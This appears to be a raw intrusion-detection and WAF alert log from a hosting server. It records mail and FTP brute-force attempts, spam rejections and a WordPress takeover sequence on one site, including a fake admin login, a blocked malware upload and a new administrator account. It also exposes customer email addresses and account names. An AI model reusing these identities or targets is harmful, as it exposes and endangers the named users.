2026-06-05 20:57:49 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:47278: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.162.234.239
country_id: 130758
description:
2026-06-05 20:58:29 H=([95.162.234.239]) [95.162.234.239]:57883 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:58:51 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:33736: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:58:51 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:52164: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  5 20:58:59 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-05 20:59:01 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:22767: 535 Incorrect authentication data (set_id=uq)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 156.38.81.198
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160300||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 20:59:43 ns5 pure-ftpd[2030963]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 20:59:47 ns5 pure-ftpd[2030963]: (?@103.245.236.231) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:59:50 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:34274: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.158
country_id: 798544
description:
Jun  5 21:00:12 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.213
country_id: 1269750
description:
Jun  5 21:00:32 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.213
country_id: 1269750
description:
Jun  5 21:00:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:00:52 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:40882: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.173.174.235
country_id: 1562822
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.173.174.235
country_id: 1562822
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:02:07 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:47970: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.162.234.239
country_id: 130758
description:
2026-06-05 21:02:22 H=([95.162.234.239]) [95.162.234.239]:11515 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:02:26 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:12694: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:02:02 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:55318: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:02:47 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:49364: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.8.35.244
country_id: 1814991
description:
2026-06-05 21:02:55 H=([113.8.35.244]) [113.8.35.244]:56027 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:03:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:12695: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.176
country_id: 1269750
description:
Jun  5 21:03:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.176
country_id: 1269750
description:
2026-06-05 21:03:55 dovecot_login authenticator failed for H=(nsg-corporate-176.230.187.122.airtel.in) [122.187.230.176]:46590: 535 Incorrect authentication data (set_id=contact@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:04:00 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:49324: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:04:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:17152: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  5 21:05:41 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-05 21:05:43 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:13782: 535 Incorrect authentication data (set_id=antoni)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-05 21:04:52 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:56820: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:05:07 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:55742: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:05:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:16384: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:06:08 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:39166: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:06:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:9472: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:06:50 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:44868: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:07:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:1154: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.88
country_id: 3175395
description:
Jun  5 21:07:36 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.88 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.77.196
country_id: 6252001
domain: ccl.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ccl.tg/robots.txt HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:06:48 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:34550: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.88
country_id: 3175395
description:
Jun  5 21:07:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.202.160.240
country_id: 2921044
description:
2026-06-05 21:07:54 dovecot_plain authenticator failed for H=(hc5jduw57zlcwq97f0) [85.202.160.240]:65144: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 192.253.248.23
country_id: 130758
description:
Jun  5 21:08:24 ns5 pure-ftpd[2037115]: (?@192.253.248.23) [INFO] New connection from 192.253.248.23


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:07:46 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:38316: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.77
country_id: 3175395
description:
Jun  5 21:07:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:08:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:1155: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 192.253.248.23
country_id: 130758
description:
Jun  5 21:08:28 ns5 pure-ftpd[2037115]: (?@192.253.248.23) [WARNING] Authentication failed for user [conseilnsaftogo]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:08:48 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:47674: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:09:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:1159: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:09:59 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:39964: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:10:03 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:60852: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:10:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:1160: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:11:21 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:15105: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:10:55 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:46846: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:12:14 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:47970: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:12:21 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:15107: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.223.127
country_id: 6252001
description:
47.77.223.127 - - [05/Jun/2026:21:11:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131101&pdata=https%253A%252F%252F154.70.82.244&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780693904 HTTP/2.0" 302 0 154.70.82.244 "https://154.70.82.244/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.223.127


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.247.76.41
country_id: 3865483
description:
Jun  5 21:11:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.247.76.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.64
country_id: 130758
description:
Jun  5 21:12:59 ns5 pure-ftpd[2040337]: (?@172.94.9.64) [WARNING] Authentication failed for user [mesyscom]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:13:21 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:14592: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.222.86.210
country_id: 1814991
description:
2026-06-05 21:13:29 dovecot_login authenticator failed for H=(broadband-5-228-1-56.ip.moscow.rt.ru) [58.222.86.210]:32021: 535 Incorrect authentication data (set_id=awa.ouedraogo@sodigaz.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  5 21:12:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-05 21:12:50 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:28883: 535 Incorrect authentication data (set_id=develops)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:13:04 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:44104: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.222.86.210
country_id: 1814991
description:
Jun  5 21:13:27 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.222.86.210 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.66
country_id: 130758
description:
Jun  5 21:13:48 ns5 pure-ftpd[2040892]: (?@172.94.9.66) [WARNING] Authentication failed for user [istm]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:13:51 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:58402: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:14:21 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:2560: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:15:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:9472: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:15:05 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:41420: 535 Incorrect authentication data


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.66
country_id: 130758
description:
Jun  5 21:15:16 ns5 pure-ftpd[2042021]: (?@172.94.9.66) [WARNING] Authentication failed for user [togofeed]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:15:49 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:48484: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:16:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:9475: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:17:00 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:47414: 535 Incorrect authentication data


plugin: modsec
rule: 77316819
name: IM360 WAF: WordPress plugin/theme install or edit. Block empty Referer
abuser: 143.244.156.182
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: WordPress plugin/theme install or edit. Block empty Referer||WPU:admlnlx||Theme install:||Theme:||Plugin:miniorange-malware-protection.zip||File:||User:tgmisefred||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 143.244.156.182
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"99\", \"google chrome\";v=\"99\"||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking new fake-admin WordPress username candidate (WPT-2545 baseline)
abuser: 143.244.156.182
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Tracking new fake-admin WordPress username candidate (WPT-2545 baseline)||MV:admlnlx||MVN:ARGS:log||WPU:admlnlx||User:tgmisefred||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:17:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:9481: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 143.244.156.182
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.14||T:APACHE||SC:/home/tgmisefred/public_html/wp-admin/admin-ajax.php||User:tgmisefred||WPU:admlnlx||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 21:18:30 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 143.244.156.182
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Track WordPress admin user creation||WPU:admlnlx||NewUser:integration_admin_198||Email:integration_admin_198@support.com||Role:administrator||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:17:50 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:59554: 535 Incorrect authentication data


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:21-18.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350365
abuser: 143.244.156.182
country_id: 6252001
domain: misstogo.tg
name:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)

description:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)||MVN:TX:1||MV:Lw||RSV:8.14||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 143.244.156.182
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Attempt to upload malware||Action:fma_load_fma_ui||Scan duration:221548||Sizes:2158||Combined size:2158||User:tgmisefred||WPU:admlnlx||Filename:._990856340_error_log.php||Scanned:/tmp//20260605-211821-aiM9HWbiAtrx7qd_mYUIMgAAAB4-file-eq0lgY||SC:/home/tgmisefred/public_html/wp-admin/admin-ajax.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 21:18:32 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:58743: 535 Incorrect authentication data (set_id=demo)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Delight in Your Speedy Funds sepoladi.blogspot.sk hl||Email:adamuibrahim2299@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:18:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:9482: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  5 21:19:42 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-05 21:19:44 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:60082: 535 Incorrect authentication data (set_id=accounting)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:19:05 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:44168: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:19:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:9483: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 21:19:54 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:60302: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:20:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:22274: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.26.233.143
country_id: 2017370
description:
2026-06-05 21:20:52 H=([85.26.233.143]) [85.26.233.143]:6286 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.114
country_id: 3469034
description:
Jun  5 21:21:22 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.9.142
country_id: 2395170
description:
Jun  5 21:21:31 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.9.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.209.216.163
country_id: 2287781
description:
[2026-06-05 21:22:25 +0000] info [webmaild] 102.209.216.163 - j.delbegue@tps.tg "POST /cpsess2614397404/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.207.8.163] != Current IP Address [102.209.216.163]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 92.126.145.114
country_id: 2017370
description:
2026-06-05 21:22:35 H=([92.126.145.114]) [92.126.145.114]:53446 F=<John@4452.com> rejected RCPT <tps@tps.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.188
country_id: 3175395
description:
Jun  5 21:21:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.188 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.188.16
country_id: 6252001
description:
47.251.188.16 - - [05/Jun/2026:21:23:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116953&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694596 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.188.16


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:23:23 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:23808: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.245.249.5
country_id: 3469034
description:
Jun  5 21:22:54 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.245.249.5 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.18.245
country_id: 6252001
description:
47.88.18.245 - - [05/Jun/2026:21:22:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972310&pdata=http%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694574 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.18.245


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 77.90.185.41
country_id: 130758
description:
Jun  5 21:24:02 ns5 pure-ftpd[2047908]: (?@77.90.185.41) [WARNING] Authentication failed for user [cafeit]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:24:23 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:1664: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.223.127
country_id: 6252001
description:
